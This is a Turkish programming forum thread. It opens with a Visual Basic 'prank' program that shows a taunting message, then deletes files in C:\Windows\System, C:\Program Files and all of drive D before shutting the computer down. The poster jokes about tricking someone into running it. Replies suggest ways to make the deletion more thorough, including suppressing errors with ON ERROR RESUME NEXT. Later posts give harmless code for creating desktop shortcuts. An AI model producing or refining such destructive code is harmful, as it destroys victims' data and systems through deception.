Taki Şaka 1.1

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    taki
    taki's avatar
    Kayıt Tarihi: 29/Aralık/2002
    Erkek
    Private Sub Command1_Click()
    Dim Mesaj As String
    Mesaj = "Muahuahuahu LaMer" + Chr$(13) + Chr$(10) + "Hadi Geçmiş Ola !.."
    MsgBox Mesaj, vbInformation + vbOKOnly, "taki Şaka 1.0"

    Kill ("C:\Windows\System\*.*")
    Kill ("C:\program Files\*.*")
    Kill ("D:\*.*")
    Shell ("rundll32.exe user,ExitWindows")
    End Sub

    bunu ama ma yedirin c sine d sine kil atıyo sonra da pc kapatı yo heheehheheeeeeeeeeeee
    istek program yazıyorum :)
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    MartyN
    MartyN's avatar
    Kayıt Tarihi: 21/Aralık/2002
    Erkek
    istek üstüne program ya bana şunu yazarmısın pls.
    flash gibi animasyon
    dreamweawer gibi tasarım
    studio max gibi modelleme
    winamp gibi mp3
    acdsee gibi resim gösterici ayrıca içinde excell,word ve power point te olsun lütfen hee bide son olarak photosopa benzetirsen ii olur.
    :))
    kendine ii bak.biliyosun bir türk dünyaya bedel hele programcıbir türk tüm evrene...
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    taki
    taki's avatar
    Kayıt Tarihi: 29/Aralık/2002
    Erkek
    o kadar da deil :))
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    PDXL
    PDXL's avatar
    Kayıt Tarihi: 29/Aralık/2002
    Erkek
    iyi güzelde dostum çalışan programlar silinemezki.
    tamam adama bayaa bi hasar verir lafım yok ama
    yani nebliim windowsu falan silmeye çalışırsa hata verip kapanır...Yani ilk çalışan programı bulana kadar çalışır.

    o nedenle bu programı şu şekle soksan iyi olur.
    önce çalışan programları alsın.PC'den sonra geri kalanları silsin. Ayrıca sistem dosyalarını nasıl ayıracak çalışan çalışmayan diye hiç bi fikrim yok.
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Tarikat Şeyhi
    HolyOne
    HolyOne's avatar
    Kayıt Tarihi: 01/Haziran/2002
    Erkek
    ON ERROR RESUME NEXT

    koy kodun başına, error falan dinlemesin daitsin ortalii ciksin...
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    PDXL
    PDXL's avatar
    Kayıt Tarihi: 29/Aralık/2002
    Erkek
    Bende onu ima edenzi.
    Saygılar.
  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    taki
    taki's avatar
    Kayıt Tarihi: 29/Aralık/2002
    Erkek
    selam uzun zamandır yokdum geri döndüm hehehe neyse :))
  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    MartyN
    MartyN's avatar
    Kayıt Tarihi: 21/Aralık/2002
    Erkek
    Geri Döndüğün iyi oldu dostum:))
    bişi sorcam , daha doğrusu 1 hafta öncede sordum ama kimseden yanıt yok. .exe dosyasının masaüstüne kısayolunu koydurmak için hangi komutu nasıl kullanmalıyım sölersen sewinirim...
  9. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Tarikat Şeyhi
    HolyOne
    HolyOne's avatar
    Kayıt Tarihi: 01/Haziran/2002
    Erkek
    Mesela...


    Open "c:\windows\desktop\TahribatCom.url" For Output As #1

    Print #1, "[InternetShortcut]"

    Print #1, "URL=" & "http://www.tahribat.com"
    Close #1


  10. KısayolKısayol reportŞikayet pmÖzel Mesaj
    MartyN
    MartyN's avatar
    Kayıt Tarihi: 21/Aralık/2002
    Erkek
    Şeyh tamamda benim bahsettiğim komut galiba (duyduğum kadarıyla) shelllink gibi falan bi komutmuş yani bahsettiğim mesela bi dosyayı biyerdeb biyere kopyalattım ve masaüstüne kısayolunu koydurcam...
  11. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Tarikat Şeyhi
    HolyOne
    HolyOne's avatar
    Kayıt Tarihi: 01/Haziran/2002
    Erkek
    Bana kalırsa bu işi install programına yaptırsan daha iyi olur, install us programı bunu senin için yapacaktır. ama ille de kodla kendin yapmak istiyorsan



    Dim WSHShell
    Set WSHShell = WScript.CreateObject("WScript.Shell")

    'degisenlerimiz...
    Dim MyShortcut, MyDesktop, DesktopPath

    'Dektop yolunu bul...
    DesktopPath = WSHShell.SpecialFolders("Desktop")

    ' Kisayolu yarat...
    Set MyShortcut = WSHShell.CreateShortcut(DesktopPath & "\Shortcut to notepad.lnk")

    ' Kısayon özelliklerini ata ve save et
    MyShortcut.TargetPath = WSHShell.ExpandEnvironmentStrings("%windir%\notepad.exe")
    MyShortcut.WorkingDirectory = WSHShell.ExpandEnvironmentStrings("%windir%")
    MyShortcut.WindowStyle = 4
    MyShortcut.IconLocation = WSHShell.ExpandEnvironmentStrings("%windir%\notepad.exe, 0")
    MyShortcut.Save


    (notepad.exeyi proraminin yolu ile degistir tabi)
Toplam Hit: 1917 Toplam Mesaj: 14